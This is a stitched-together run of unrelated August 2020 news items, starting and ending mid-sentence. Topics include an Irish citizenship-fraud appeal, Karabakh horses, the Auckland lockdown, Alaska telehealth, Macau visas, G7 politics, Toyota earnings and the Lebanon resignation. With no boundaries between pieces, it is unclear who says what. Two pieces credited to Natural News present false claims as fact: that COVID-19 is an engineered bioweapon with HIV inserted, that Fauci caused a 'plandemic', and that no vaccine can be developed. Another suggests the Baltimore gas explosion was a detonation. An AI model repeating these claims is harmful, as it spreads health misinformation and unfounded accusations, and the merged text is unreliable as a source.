deterrence, had erred in imposing an excessive sentence, had failed to recognise the exceptional circumstances of the case and to consider alternatives to custody. He pointed out that his client had worked hard here, paid his taxes, and engaged in local charitable activities. Garret Baker BL responded on behalf of the Director of Public Proseuctions (DPP). He said that the appellant had come to Ireland with a fictitious identity and that his existence had been rooted in a fundamental lie. He said that, by the time the offending began in 2012, hed had over a decade to reflect on his position and take steps to rectify it. But what he does is double down on the original lie, he said. Were there no health difficulties in 2017, there in all likelihood would have been no confession, he suggested. I didnt detect a growing crisis of conscience. Court President Justice George Birmingham, presiding with Justice Patrick McCarthy and Justice Isobel Kennedy, delivered an extempore judgment. He remarked that it was an unusual case and may have been the first ever such prosecution here. He said that the court believed that a custodial sentence was required in the public interest. We regard obtaining Irish citizenship through fraud as very serious indeed, he remarked. However, the court felt that the very unusual aspect of his self-reporting had provided scope for a greater reduction in his sentence. The court quashed the original sentence and again imposed three years in prison, this time suspending all but nine months of that sentence. Bardhoshi, who attended the hearing remotely, entered a bond to be of good behaviour while in custody and for three years post-release. He also undertook to present at Mullingar Garda Station on September 1, as previously agreed. By Laman Ismayilova The beauty of Karabakh horse has been glorified worldwide. This magnificent horse breed is considered one of the rare species in the world and the oldest in Asia and the Caucasus. Russia has hosted an international online conference "Karabakh Horse Breed: A Selection Achievement of the Azerbaijani Republic", Trend Life reported. The conference was held under the auspices of the Hipposphere International Equestrian Exhibition, with the participation of experts from Azerbaijan, Russia, Iran, Germany and the United States, including General Director of Unicorn Challenge Elvin Imanov; head of the livestock breeding and monitoring department under the Azerbaijan Ministry of Agriculture Esmira Latifova, professor at the National Academy of Sciences Pasha Hasanli; private horse breeder, editor of the "Pedigree book of horses of the Karabakh breed" Yashar Guluzade; co-author of the State Herd Book of Karabakh and Dilboz Breeds Taleh Mustafayev (Azerbaijan); director of All-Russian Research Institute of Horse Breeding Alexander Zaitsev, doctor of Tabriz University, Honored Professor Hasanli Mahpeikar, Chairman of the American Non-Governmental Society for Rescue of Karabakh Horses Samir Novruzov and others. The event, moderated by the director of Hipposphere International Equestrian Exhibition Evgeniya Filippova discussed Karabakh horse breed and its distinctive features. It was stressed that the Karabakh horse breed is considered one of the oldest in the world. Its homeland is the high mountains of Karabakh. These horses are a symbol of national heritage and the pride of every Azerbaijani. Karabakh horses are calm and friendly animals. Historically, a distinctive feature of Karabakh horses was the ability to overcome mountainous and rugged terrain. Today, Karabakh horses are mainly used for racing. This breed is known for its exceptional endurance. Karabakh horses are considered one of the national symbols of Azerbaijan, are the personification of freedom and nobility. Beauty, strength and grace of Karabakh horses have inspired many artists, writers and poets. Chovqan, a traditional horse-riding game played on Karabakh horses, is inscribed in UNESCO List of the Intangible Cultural Heritage of Humanity. Back in 1956, Queen Elizabeth II was presented with the Karabakh horse Zaman, who for the first time represented the ancient horse-breeding culture of Azerbaijan in Great Britain. This stunning horse breed has a small, well-defined head, a straight profile with a broad forehead, and large nostrils. The neck is set high, average in length, muscular and elegant. The color of the Karabakh breed can be red, buckthorn, brown, bay, gray or golden-red, which is also called the "golden glow". Karabakh breed horses were presented at the celebration of the anniversary of Britain's Queen Elizabeth II in 2012. --- Follow us on Twitter @AzerNewsAz New Zealand has locked down the city of Auckland after it identified the country's first coronavirus cases in 102 days. Prime Minister Jacinda Ardern said the four coronavirus cases have been found in one Auckland household from an unknown source. Ms Ardern said Auckland, the nation's largest city, will be moved to Alert Level 3 until midnight on Friday, meaning that people will be asked to stay at home, while bars and many other businesses will be closed. "These three days will give us time to assess the situation, gather information, make sure we have widespread contact tracing so we can find out more about how this case arose, and make decisions about how to respond to it once we have further information," Ms Ardern said. She said travelling to Auckland will be banned unless people live there and are travelling home. The rest of the country will be raised to Level 2 until Friday, meaning that mass gatherings will be limited to 100 attendees and people would need to socially distance themselves from each other. Director-general of health Ashley Bloomfield said the cases were confirmed after a person in their 50s went to their doctor with symptoms and was swabbed twice, testing positive both times. Six other people in the person's household were then tested, with three more positive results. "Importantly, the person has no history of overseas travel," Mr Bloomfield said, saying that the source of the infections remains unknown. The news comes as the global number of Covid-19 cases has reached 20m, according to the Johns Hopkins University Coronavirus Resource Centre. The total number of global coronavirus deaths stands at 734,664, according to experts at Johns Hopkins, the American university whose aggregated tally has become the main reference for monitoring the disease. Health officials believe the real figure of cases worldwide is in fact far higher than the Johns Hopkins tally, due to testing limitations and the fact as many as 40% of people infected have no symptoms. (TNS) - The push towards virtual medical visits has been happening in Alaska for years. But it has been accelerated in-state and nationwide by the novel coronavirus, which has complicated in-person medical visits.In Alaska, telehealth has been vital for some time, but the coronavirus pandemic has created a new normal and certainly fueled that need, said U.S. Sen. Lisa Murkowski, R-Alaska, in a statement last week.She was responding to an executive order President Trump had just signed, intended to expand access to telehealth services, especially in rural parts of the country even after the current public emergency ends.Murkowski said in the statement that she looks forward to reviewing the plans that result from the order, which directs the U.S. Department of Health and Human Services secretary to develop a new payment model that will make it easier for rural health providers to offer and receive reimbursement for telehealth care, and makes permanent some of the earlier telehealth expansions the administration had put in place at the start of the pandemic.In Alaska, even before the pandemic began, more than 250 providers were licensed to practice virtually using telemedicine, which is defined by division of public health in Alaska as the practice of caring for a patient when the patient and provider are not physically together...using technology such as video conferencing and smartphones without the need for an in-person visit.Telemedicine refers specifically to remote clinical services, whereas telehealth is a broader term for the practice of health-related care that uses technology.The biggest benefits of telehealth are being able to provide services that arent usually available in a rural community, said Tricia Franklin, state director for the Alaska Office of Rural Health. And being able to monitor a situation from afar without having to go into the office.But some providers and public health officials told the Daily News that while telehealth can be helpful, virtual doctors visits are often no substitute for in-person care. One key issue in Alaska is broadband access. It remains extremely limited throughout much of the state which can complicate access to telehealth in rural areas, Franklin said.Saving people the trip of trying to get to the doctors office, of course thats very helpful, said Franklin. But does the patient have computer or smartphone technology? And do they have enough broadband access to actually do that?Older, poorer men in rural areas, and those with disabilities, have experienced the most challenges to accessing care via telehealth, according to a recent study by the University of California in San Francisco.Researchers there also found that a third of Americans above the age of 65 experienced difficulty with accessing telehealth services, either from lack of internet access or technical skills needed to manage the appointments. Hearing, visual or cognitive problems also made remote care challenging for these participants.This study rings true for Dr. Carl Brown, a physicians assistant at Cross Road Medical Center in Glennallen.I would estimate theres about a 50 to 60 percent deficit of access to technology in order to participate in telehealth, he said of his clinics patients.In other cases, the complexity of patients medical conditions means in-person care is better.Its difficult to get to a thorough exam through telehealth, said Brown.Another concern is that some people are no longer coming into the medical facility to receive care out of fear of contracting the coronavirus, said Jim Godin, a director at Copper River Native Association.In many of those cases, telehealth cant usually substitute, he said.There are some bright spots. Behavioral health is the area where Godin and Brown say they have seen telehealth be the most helpful.In East Anchorage in June, a new behavioral health clinic opened, offering mental health care for veterans and their families entirely virtually.Virtual mental health treatment has been wonderful, in that its now allowing access to care for people who have not otherwise received it, said Anthony Hassan, president & CEO of Cohen Veterans Network, which owns and operates the new clinic, along with more than a dozen others across the country.Telehealth has helped with the stigma of seeking mental health treatment, Hassan said, because people are now able to access care without leaving their home. It also reduces no shows, because less effort is required to arrive at ones appointment, he said.He said that while his network of clinics pre-pandemic used to conduct about 18% of sessions virtually, now thats up to 98% or 2,000 sessions a week nationwide.I know (virtual care) isnt a panacea; people do need to come in, he said. But our outcomes in-clinic and telehealth are equal.Usage has varied by zip code, he said. So far, more veterans dwelling in cities and urban areas use the networks services than those in rural parts of the state.That was such a shock to me, Hassan said. Because I thought that telehealth would be the great equalizer, the one tool that would be able to give access to rural veterans. But what we know, though, is the broadband or the access isnt always there.[Because of a high volume of comments requiring moderation, we are temporarily disabling comments on many of our articles so editors can focus on the coronavirus crisis and other coverage. We invite you to write a letter to the editor or reach out directly if youd like to communicate with us about a particular article. Thanks.]2020 the Alaska Dispatch News (Anchorage, Alaska)Visit the Alaska Dispatch News (Anchorage, Alaska) at www.adn.comDistributed by Tribune Content Agency, LLC. Share this article Whatsapp Facebook Twitter Linkedin (Reuters) Hong Kong Tue, August 11, 2020 12:00 526 6657ac82168da9fa101c8a4066d13a38 2 News Macau,tourism,Tourist Free Macau's government on Monday announced that tourist visas, through which the majority of gamblers visit casinos in the Chinese territory, will be reinstated for the neighboring city of Zhuhai, paving the way for a revival of visitors. Macau's Secretary for Social Affairs and Culture Ao Ieong U announced that the highly anticipated individual visit scheme (IVS) would resume from Aug. 12. Casinos in the world's biggest gambling hub have experienced heavy losses since February when travel dried up due to the coronavirus. Greater China accounts for more than 90 percent of Macau's tourists. Executives have said that without a resumption of the IVS scheme there will not be much hope for casino operators. The announcement comes nearly a month after China loosened coronavirus-related border restrictions between Macau and the neighbouring coastal province of Guangdong. The direct impact on gaming revenue from the Zhuhai IVS restart is likely to be limited, said Vitaly Umansky, an analyst at Sanford C. Bernstein in Hong Kong. "However, the restart of IVS and group visa issuance (which has been suspended since late January) is another baby step in the right direction as China and Macau slowly loosen travel between the two jurisdictions." Topics : Macau tourism Tourist (Natural News) There is simply no way that the Wuhan coronavirus (COVID-19) was able to transfer from bats to humans without some kind of deliberate genetic tampering, contends Prof. Giuseppe Tritto, a renowned biotechnology expert who says the official plandemic narrative is fake news. The president of the World Academy of Biomedical Sciences and Technologies (WABT), Tritto conducted an investigation that led him to the conclusion that the Wuhan coronavirus (COVID-19) gained cross species transmission functionality due to genetic engineering that took place at the Wuhan Institute of Virology (WIV), Chinas only level-four biosafety lab. In his book entitled, Cina COVID 19: La Chimera che ha cambiato il Mondo, which translates as China COVID 19: The chimera that changed the world, Tritto explains how a Peoples Liberation Army (PLA)-owned coronavirus was genetically modified to become the China Virus that is being reported around the world today. He says the novel virus is a chimera, meaning it was created in a lab rather than in nature. Tritto also links the Wuhan Institute of Virology to both France and the United States, demonstrating how the governments of these two countries provided communist China with the financial and scientific resources it needed to unleash this bioengineering experiment, which has had a devastating global impact. Although neither American nor French virologists are responsible for the end result a highly infectious coronavirus and a global pandemic their early involvement may explain why so many insist that the chimera must have come from nature, writes Steven Mosher for LifeSiteNews. The last thing they want to admit is that they might have had a hand in it. The latest news about the Wuhan coronavirus (COVID-19) can be found at Pandemic.news. Anthony Fauci is directly responsible for unleashing coronavirus Much of the story begins back in 2003 with the SARS pandemic, which was basically the Wuhan coronavirus part-one. It was way back then that communist China had attempted to swindle the world into accepting a vaccine for its coronavirus version 1.0, which never came to fruition in the way that coronavirus 2.0 is now manifesting. Part of the vaccine development process for coronavirus 1.0 involved genetically engineering viral strains with reduced pathogenicity that were still strong enough to provoke an immune response. The reverse genetics that were used, however, resulted in viral strains with increased pathogenicity. Later on, these super-virulent virus strains were manipulated with HIV genomes using reverse genetics system 2. Dr. Shi Zhengli, who was in charge of this program at the WIV, is who inserted this HIV segment into a coronavirus that was discovered in horseshoe bats, making it more infectious and lethal. Prof. Ralph S. Baric from the University of North Carolina was also involved, as he was on the receiving end of major grants that came from none other than the Anthony Fauci-controlled National Institute of Allergy and Infectious Diseases (NIAID). Fauci was a big proponent of gain of function research, and when this was prohibited at Barics lab because it was considered to be too dangerous, the research was shifted to China, Mosher explains. In a nutshell, what began as a project to develop a vaccine against SARS morphed into an effect to use reverse genetics to build lethal biological weapons, which is why we now have the Wuhan coronavirus (COVID-19). And Fauci is directly to blame for this global plandemic, which was hatched and unleashed with the help of American taxpayer dollars that Fauci redirected towards this nefarious research. And perhaps the worst part of all this is that the Chinese Communist Party (CCP) is now refusing to release the original genetic code that resulted in the Wuhan coronavirus (COVID-19) coming into existence, which means no effective vaccine will ever be developed by the West. Sources for this article include: LifeSiteNews.com NaturalNews.com Japan's Chief Cabinet Secretary Yoshihide Suga on August 11 said that it is very important to maintain the framework of Group of Seven (G7), an organisation consisting of seven major developed countries. Suga's comment comes a day after the United States President Donald Trump said he is yet to decide on whether to invite the Russian President to this year's summit or not, which is scheduled to be held in the United States. Read: Donald Trump 'much More Inclined' To Host G7 Summit After November 3 US Elections Russia was expelled from G7, what was known as Group of Eight (G8) then after it illegally annexed the Crimea region from Ukraine in 2014. Donald Trump, on several occasions, has expressed his willingness to invite Vladimir Putin to this year's meet, which will be chaired by the United States, but his remarks have always garnered criticism from other member states, which includes the United Kingdom, Germany, France, Italy, Canada, and Japan. Read: Germany Rejects Trump's Proposal Of Russia's Return To G7 After Its Expulsion Over Crimea Recently, Germany's foreign minister Heiko Mass also rejected Trump's proposal to invite Russia to G7. Trump had said that it was "common sense" to invite Moscow back to the group consisting of the top advanced economies of the word. Mass while rejecting Trump's proposal said that Russia should only be invited back to the group when the conflict in Ukraine is resolved in a meaningful way. Britain and Canada have also echoed similar sentiments in the past. Read: US Invites PM Modi To Next G7 Summit, Calls China's Behaviour 'unacceptable' In Galwan Summit after US poll? Meanwhile, Donald Trump, who had earlier announced but retracted that he wanted to hold this year's meet at his private resort in Florida, now wants to hold G7 only after the upcoming presidential poll in November is over. Donald Trump on August 10 told reporters outside the White House that he wants to hold the summit after the election is over. Read: Japan Wants To Take Lead On Issuing G7 Statement On Hong Kong, Says PM Shinzo Abe It could be a matter of time (a few decades at the most, but possibly sooner) that other space-faring nations send their own aircraft to the Red Planet. by Dr. Ruwantissa Abeyratne Writing from Montreal The sky is the limit only for those who aren't afraid to fly! Bob Bello, Sci-Fi Almanac, 2010 Perseverance -a rover meant to traverse a 45-kilometer-wide crater on Mars - is a six wheeled rover launched by the National Aeronautics and Space Administration (NASA) on 30 July 2020, under the Perseverance Robotic Space Mission. The rover is expected to begin its extra-terrestrial journey on the surface of Mars on 18 February 2021. The Perseverance mission also carried a helicopter called Ingenuity an aerial vehicle weighing just 1.8 kilograms which will record the first controlled flight of an aircraft (in the most general of definitive terms) extra terrestrially. The Economist reports that on the success of the helicopters flight would depend the introduction of drones to be included in Mars missions, designed to traverse the atmosphere of the planet. Notably, Mars has an atmosphere of one tenth of the atmosphere at the surface of the Earth. It could be a matter of time (a few decades at the most, but possibly sooner) that other space-faring nations send their own aircraft to the Red Planet. Cambridge Dictionary defines an aircraft as any vehicle, with or without an engine, that can fly, such as a plane or helicopter. This generic definition has been expanded with infused technical credibility by the identification of an aircraft as "any machine that can derive support in the atmosphere from the reactions of the air other than the reactions of the air against the earth's surface. The generic definition seems to accord with the characteristics and function of Ingenuity on Mars. It would seem that the space faring community may have to give serious thought to addressing issues of flight by aircraft on extra terrestrial atmosphere. The starting point would be the fact that there is no sovereignty in outer space and no country can claim ownership and governance over outer space and celestial bodies. In a sense, this would be analogous to flights over the high seas on Earth, which is considered no mans land. From a maritime perspective, high seas, are all parts of the mass of saltwater surrounding the globe that are not part of the territorial sea or internal waters of a State. The United Nations Convention on the Law of the Sea (UNCLOS) stipulates that the sovereignty of a coastal State extends, beyond its land territory and internal waters and, in the case of an archipelagic State, its archipelagic waters, to an adjacent belt of sea, described as the territorial sea. This sovereignty extends to the air space over the territorial sea as well as to its bed and subsoil. From an aviation point of view, the Chicago Convention prescribes that every State has complete and exclusive sovereignty over the airspace above its territory and that the territory of a State is deemed to be the land areas and territorial waters adjacent thereto under the sovereignty, suzerainty, protection or mandate of such State. This clearly excludes sovereignty of any kind over the high seas leading to the fact that no State can claim sovereignty over the high seas. However, The Convention goes on to say that over the high seas, the rules in force will be those established under the Convention and that each State undertakes to ensure the prosecution of all persons violating the applicable regulations promulgated in the context of conduct aerial transport over the high seas. For this purpose, the Council of the International Civil Aviation Organization (ICAO) has adopted Annex 2 (Rules of the Air) to the Chicago Convention which contains mandatory rules of conduct of each State. The Outer Space Treaty of 1967, the seminal multilateral accord governing activities in outer space starts off by saying that outer space, including the Moon and other celestial bodies, will be free for exploration and use by all States without discrimination of any kind, on a basis of equality and in accordance with international law, and every State is entitled to free access to all areas of celestial bodies. Additionally, The Moon Treaty (Treaty on Principles Governing The Activities of States in the Exploration and Use of Outer Space, Including The Moon and Other Celestial Bodies) requires that the exploration and use of outer space, including the moon and other celestial bodies, Exploration and use should be carried out for the benefit and in the interests of all countries, irrespective of their degree of economic or scientific development, and will be the province of all mankind. The Moon Treaty also stipulates that outer space, including the moon and other celestial bodies, will be free for exploration and use by all States without discrimination of any kind, on a basis of equality and in accordance with international law, and every State will have free access to all areas of celestial bodies, which includes freedom for scientific investigation in outer space, including the moon and other celestial bodies, and States are required to facilitate and encourage international co-operation in such investigation. Outer space, including the moon and other celestial bodies, is not subject to national appropriation by claim of sovereignty, by means of use or occupation, or by any other means. Current laws and rules of conduct are seemingly laid wide when it comes to addressing future activities of space faring nations in the atmosphere of celestial bodies. The key considerations in this regard would be competition, particularly in the absence of the right to sovereignty in outer space, and the demarcation of aerial space between aircraft of different States. In this context, a good analogy attenuate would be the fundamental theme of aerial coexistence here on earth, as enunciated by the Preamble to the Chicago Convention that certain principles and arrangements should be in place so that international civil aviation may be developed in a safe and orderly manner and that international air transport services may be established on the basis of equality of opportunity and operated soundly and economically. When these three fundamental concepts of sound and economic aerial transport on celestial terrain; being conducted in a safe and orderly manner; with equality of opportunity, one could have a starting point for deliberations on further details. The equality of opportunity clause in the aviation context would embellish and add to the general reference to equality in the Outer Space Treaty and the Moon Treaty. Dr. Abeyratne is the author of numerous books on aerospace law among which are Frontiers of Aerospace Law (Ashgate) and Regulation of Commercial Space Transport (Springer). Lebanons government resigned on Monday as the prime minister blamed political corruption for a massive explosion at Beiruts port that killed more than 160 people and devastated the capital. I discovered that the system of corruption is bigger than the state, Hassan Diab, prime minister, said in an address, blaming resistance by entrenched political elites for his lack of reforms. His resignation came amid intensifying anger among Lebanese people towards their leaders, whom many blamed for last weeks blast. The explosion was caused by more than 2,000 tonnes of ammonium nitrate, which can be used as a fertiliser but also for explosives. It had been stored at the port for six years. Public fury spilled on to the streets over the weekend as thousands of people, some erecting scaffolds to hang effigies of their leaders, called for regime change. But many Lebanese are likely to question whether the resignations will bring genuine change to what they perceive to be a rotten political system. Follow Us on Facebook @LadunLiadi; Instagram @LadunLiadi; Twitter @LadunLiadi; Youtube @LadunLiadiTV for updates Source: Xinhua| 2020-08-11 18:04:51|Editor: huaxia Video Player Close CHANGCHUN, Aug. 11 (Xinhua) -- Police in northeast China's Jilin Province have busted a cross-border gambling case with gambling funds totaling 10 billion yuan (1.44 billion U.S. dollars). Eight mobile gambling apps operated by a criminal gang attracted more than 210,000 gamblers online as of July 22, according to the public security bureau of Jilin City. Police in the city's Chuanying District started investigating the case in mid-December last year when a suspect was found to have developed an online gambling app. The app, together with several others, was found to be operated by the same gang, with its headquarters and servers located outside the Chinese mainland. The gang has developed more than 20 agents across the mainland, including one in Chuanying District. A total of 23 suspects in connection with the case were arrested in Shanghai as well as Jilin, Shaanxi and Fujian provinces. Further investigation is underway. Enditem Toyota Motor TM posted fiscal first-quarter 2021 earnings of $1.06 per share, as against the Zacks Consensus Estimate of a loss of $1.78. However, the bottom line compares unfavorably with the year-ago earnings of $4.32 a share. Consolidated revenues came in at $42,778 million, surpassing the consensus mark of $36,517 million. Nonetheless, the top-line figure plunged 38.5% year over year. Depressed demand for vehicles and weak consumer sentiment amid the COVID-19 pandemic resulted in dismal performance of this Japan-based auto biggie. Toyota Motor Corporation Price, Consensus and EPS Surprise Toyota Motor Corporation Price, Consensus and EPS Surprise Toyota Motor Corporation price-consensus-eps-surprise-chart | Toyota Motor Corporation Quote Segmental Results The Automotive segments net revenues plummeted 42.8% year over year to 3.98 trillion ($36.96 billion) in first-quarter fiscal 2021. Operating loss in the quarter was 86.5 billion ($804 million), as against the year-ago profit of 617.8 billion. The Financial Services segments net revenues declined 2.6% from the prior-year quarter to 534.9 billion ($4.96 billion). The segment registered an operating income of 92.2 billion ($857 million) compared with the 109.7 billion recorded in first-quarter fiscal 2020. All Other businesses net revenues slipped 44.3% from the year-ago period to 206 billion ($1.91 billion) in the reported quarter. Further, the operating income declined 34.5% year over year to 9.3 billion ($86.4 million). Financial Position Toyota had cash and cash equivalents of 6.8 trillion ($63.1 billion) as of Jun 30, 2020. Long-term debt amounted to 12.6 trillion ($116.6 billion). At the end of the fiscal first quarter, operating cash flow was 673.2 million, up 3.4% year over year. Fiscal 2021 Guidance For fiscal 2021, Toyota expects consolidated vehicle sales of 7.2 million units, suggesting a decline from the fiscal 2020 levels. The auto giant expects the pandemic to hurt earnings and sales in the fiscal year. Story continues Toyota expects operating income to slump 79.5% year over year to 500 billion. Sales are expected to total 24 billion, calling for a 19.8% decline from the fiscal 2020 levels. Despite the gloomy scenario, and bleak profit and sales forecast, the company intends to spend more than 1.1 trillion in R&D expenses, which suggests almost no change from the prior-fiscal levels. Zacks Rank & Stocks to Consider Toyota currently carries a Zacks Rank #4 (Sell). Better-ranked stocks in the auto sector include Sonic Automotive Inc. SAH, AutoNation AN and LCI Industries LCII, each sporting a Zacks Rank of 1 (Strong Buy), at present. You can see the complete list of todays Zacks #1 Rank stocks here. Shares of Sonic Automotive have appreciated 28.1%, year to date, compared with the industrys rise of 9.6%. Shares of AutoNation have rallied 11.6%, year to date, compared with the industrys gain of 9.6%. Shares of LCI Industries have appreciated 18.9%, year to date, as against the industrys decline of 4.8%. Zacks Single Best Pick to Double From thousands of stocks, 5 Zacks experts each picked their favorite to gain +100% or more in months to come. From those 5, Zacks Director of Research, Sheraz Mian hand-picks one to have the most explosive upside of all. With users in 180 countries and soaring revenues, its set to thrive on remote working long after the pandemic ends. No wonder it recently offered a stunning $600 million stock buy-back plan. The skys the limit for this emerging tech giant. And the earlier you get in, the greater your potential gain. Click Here, See It Free >> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Toyota Motor Corporation (TM) : Free Stock Analysis Report AutoNation, Inc. (AN) : Free Stock Analysis Report Sonic Automotive, Inc. (SAH) : Free Stock Analysis Report LCI Industries (LCII) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research Sun Jie (R), director of China Cultural Center in Fiji, introduces an exhibition to a visitor. [Xinhua] Cultural exchange is the key for countries such as Fiji and China to enhance mutual understanding and respect, Fijian and Chinese officials said on Thursday. Collin Yabaki, director of Fiji's Heritage and Arts Department, told Xinhua on the sideline of the visit to the National Archives of Fiji by Chinese Ambassador Qian Bo that cultural exchange is a bridge and one of the best ways to help the two countries and peoples deepen their mutual understanding and enhance the friendly cooperative ties. "Culture exchange between Fiji and China is very important, and our relationship goes a long way back. Cultural exchange is actually a bridge which helps us better understand each other and learn from each other," said Yabaki, who visited China twice. He believed that cultural exchange between the two countries has yielded fruitful results over the past years. "Our cultural cooperation is great. Fijians go to China and learn about Chinese culture. We can see the integration and cooperation between us. Our two peoples have learned a lot from each other," he said, adding cultural exchange has also "helped us become a family of nations." The director stressed the importance of respecting different cultures of different countries. "Both Fiji and China have rich and diversified cultures. We should and we do respect each other's culture and learn from each other," he said. For his part, Ambassador Qian told Xinhua that cultural exchange is vital for the countries like China and Fiji to learn from each other for common development. The China Cultural Center in Fiji has played a very important role in promoting cultural exchanges between China and Fiji over the past years. [Chinaculture.org] "The development of humankind is a progress of mutual learning and assimilation. Each country is quite different with its own history, culture and advantage. We have to learn from history, respect and learn from each other and promote exchanges and cooperation, so as to achieve common development and progress," he said. This year marks the 45th anniversary of the establishment of diplomatic relations between China and Fiji. China is now working with the government and people of Fiji to build a comprehensive strategic partnership featuring mutual respect and common development, said Qian, adding the purpose of the visit is to explore the possibility for future cooperation. "When we say mutual respect, this includes the respect of our culture and history. As developing countries, both China and Fiji share a lot in terms of long history, very old culture and seeking common development. We can learn from each other and we can help each other including cooperation in the field of archives," he said. Timoci Balenaivalu, acting principal archivist of the National Archives of Fiji, said archives is the records of a country's history, and countries like Fiji and China can learn from history and culture to better their future cooperation. "I have been to China three times. China has a rich history and culture just as what Fiji does. Cultural exchange like today's visit will help us know better each other. Needless to say, we need to respect each other's history and culture and this will help us enjoy good relationship and cooperation," he said. Meanwhile, Sun Jie, director of China Cultural Center in Fiji, said the center has played a very important role in promoting cultural exchanges between China and Fiji over the past years. "Every year, we organize a lot of cultural activities that do help peoples enjoy better understanding and further promote the friendship." (Source: Xinhua) Various civil society organizations and prominent citizens of India and Pakistan have jointly urged both PMs to release and repatriate all arrested fish workers and women prisoners of the other country from their custody on the eve of Independence Day. Fish workers get arrested for entering into other country's water inadvertently. The bodies have asked both the PMs to release them on humanitarian grounds. A letter requesting this was signed by prominent organizations like Pakistan-India Peoples Forum for Peace and Democracy (PIPFPD); South Asian Partnership (SAP); Legal Aid Office, Karachi; Edhi Foundation; Pakistan Fisherfolk Forum; Aman ki Asha; National Fishworkers Forum, Aaghaz-e-Dosti etc. The prominent persons include Admiral (R) L Ramdas, IA Rehman, Faisal Edhi, Syeda Hamid, Beena Sarwar, Anjum Rajabali, Teesta Setalvad, Tahseen, Karamat Ali, Haya Zahid, Anis Haroon, Tapan Bose, Vijayan MJ, Jatin Desai among others. The letter says, "Both countries regularly repatriate prisoners as a gesture of goodwill during Independent Day celebrations, or on the eve of major religious celebrations. Given the humanitarian crisis posed by Covid-19, we urge you to repatriate these prisoners so that they can reunite with their families. Time and again both countries have accepted that these fishermen are innocent and they are never been involved in any illegal activities. Once arrested, they have to spend around two years in another countrys prison. They suffer and so do their families. The scenario of coastal villages is depressing as women wait for their husbands, brothers or son-in-laws to return. The lists exchanged by India and Pakistan on 1st July says 270 Indian fishermen and 54 civilian prisoners are in Pakistan's prisons. While 97 Pakistani fishermen and 265 Pakistani civilian prisoners are in various Indian prisons. Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Tue, August 11, 2020 18:31 526 6657ac82168da9fa101c8a4066d2c5ae 1 National surakarta,wedding-ceremony,Surakarta-Police,Central-Java,mass-organizations Free A traditional wedding ceremony in Surakarta, Central Java came to a violent end after alleged members of a local religious group reportedly disbanded it, leading to a scuffle involving several local police personnel. The group of people who broke up the ceremony, which took place at a private residence in Pasar Kliwon district on Saturday, purportedly claimed that the traditional procession had violated certain Islamic principles. As reported by tribunnews.com, the perpetrators arrived at the ceremony at 4 p.m. and proceeded to cordon off the entrance to the residential area. In a video that has since circulated on social media, members of the group could be heard shouting orders to disband the ceremony. Surakarta Police chief Sr. Comr. Andy Rifai said his office received reports of a disturbance at around 5 p.m on Saturday. We received information that evening that an intolerant group had ambushed a private residence, Andy said on Sunday. He said the situation became heated when police personnel were deployed to the scene at around 5:20 p.m. to negotiate with the group. Read also: Can Indonesia lead global war against religious intolerance? Scholars discus The police escorted the wedding guests to safety during a lull when members of the group were performing maghrib (sunset prayer). However, the group finally noticed the evacuation and responded by physically attacking the guests, he said. At least three people were injured during the conflict, he said. The victims have since been treated at Indriati Solo Baru Hospital in Sukoharjo regency. [The victims] sustained lacerations on their heads, Andy said. He went on to say that he was also physically assaulted by the group, but did not sustain any serious injuries. I was hit by [members of the group] when I was evacuating the victims. But I persisted and continued protecting the victims, he said. In addition to physical assault, the group also reportedly vandalized private property in the surrounding vicinity including a minivan. The police are currently still investigating the case. (rfa) (Natural News) People are already on edge over the massive blast that occurred in Beirut last week, and now reports are coming in about another major explosion, this time in Baltimore, that has reportedly left numerous families trapped inside their homes. The Baltimore Firefighters IAFF Local 734 tweeted in the early morning hours of August 10 about an explosion that happened in the 6500 block of Reisterstown Road near Pikesville. Several houses had exploded, the union indicated, resulting in at least five people, including children, becoming trapped. A Collapse Response and Second Alarm has been called, the tweet further revealed. According to Fox Baltimore, multiple medical units were called to the scene, with the latest count indicating that at least four people are seriously injured and one has died, with many more still trapped inside their homes. We are closely monitoring the situation in northwest Baltimore following this mornings horrific explosion, tweeted Gov. Larry Hogan in a statement. We have reached out to offer our full support to the ongoing response and recovery efforts, and are deeply grateful to the first responders on the scene. Local news reports are suggesting that a gas leak may have been the cause of the explosion, though it remains unclear what actually transpired to produce this massive fallout. Aerial imagery of the destruction shows wreckage and debris blanketing a residential lot in the affected area. As you will notice, the scene looks as if a large tornado swept through, or some other powerful natural disaster. Is this just more proof that Baltimores infrastructure is failing? At least three homes were leveled by the blast, which ironically enough is just more evidence of the continued collapse of Baltimore, in this case infrastructurally. Besides the crime and chaos, Baltimore like many other American cities is rapidly descending into third-world status due to aging infrastructure that is in dire need of repair. How many more homes throughout the Baltimore area are at risk of sudden explosion from what appears to be failing gas lines? Or is there more to the story than this? It was like a bomb went off, is how one area resident described how it felt when the explosion occurred. City councilman Isaac Yitzy Schleifer indicated that housing inspectors were sent to the scene of the blast to investigate what may have set it all off. Of particular concern is the fact that the homes in this area of town are attached row houses, meaning others could potentially suffer the same fate if the situation is not properly rectified. For the time being, Baltimore Gas & Electric has shut off gas to the area while crews look into the situation further. Interestingly, eyewitnesses told local media that they felt a large boom, followed by the ground shaking for at least a four-block radius. This would seem to suggest some type of detonation. I heard a kaboom and I thought it was a car or something and when I came out, I seen the debris and somethings gone totally wrong, one area man by the name of Paul Gessler stated during a news interview. It was catastrophic, added Dean Jones, another area resident. It was like a bomb, like you watch things in other countries where they have like bombings and things like that. It was like watching that in real life. Telephone poles split, I mean, houses down the block, broken glass, he added. When I initially got there, I could hear a voice just saying, Help! Its crazy. Its something I dont ever want to see again; I dont want to relive it ever again. For more related news about Americas declining infrastructure, be sure to check out Collapse.news. Sources for this article include: LawEnforcementToday.com FoxBaltimore.com Twitter.com NaturalNews.com Baltimore.CBSLocal.com Kolkata, Aug 11 : The family members of a Covid-19 victim on Tuesday alleged that they were asked to pay Rs 51,000 to catch a glimpse of their departed relative at a crematorium in Howrah district. The incident took place at the Shibpur burning ghat along the Ganga when the family members of Hari Om Gupta, a resident of Howrah's Shibpur area, went to the crematorium. They requested the corporation officials to allow them to see the deceased's face once before the cremation. They were asked to pay Rs.51,000, but later settled that by offering Rs.2,500, they alleged. Hari Om Gupta tested positive for Coronavirus on Friday and got admitted to Sanjiban Hospital at Fuleswar in the district. He died on Sunday. His body was taken for cremation on Tuesday afternoon. "We all went to the crematorium to take part in our brother's final journey. We requested them just to show us his face before the body was consigned to flames. They asked me to pay Rs.51,000 but later we managed by paying them Rs.2,500. We were helpless and 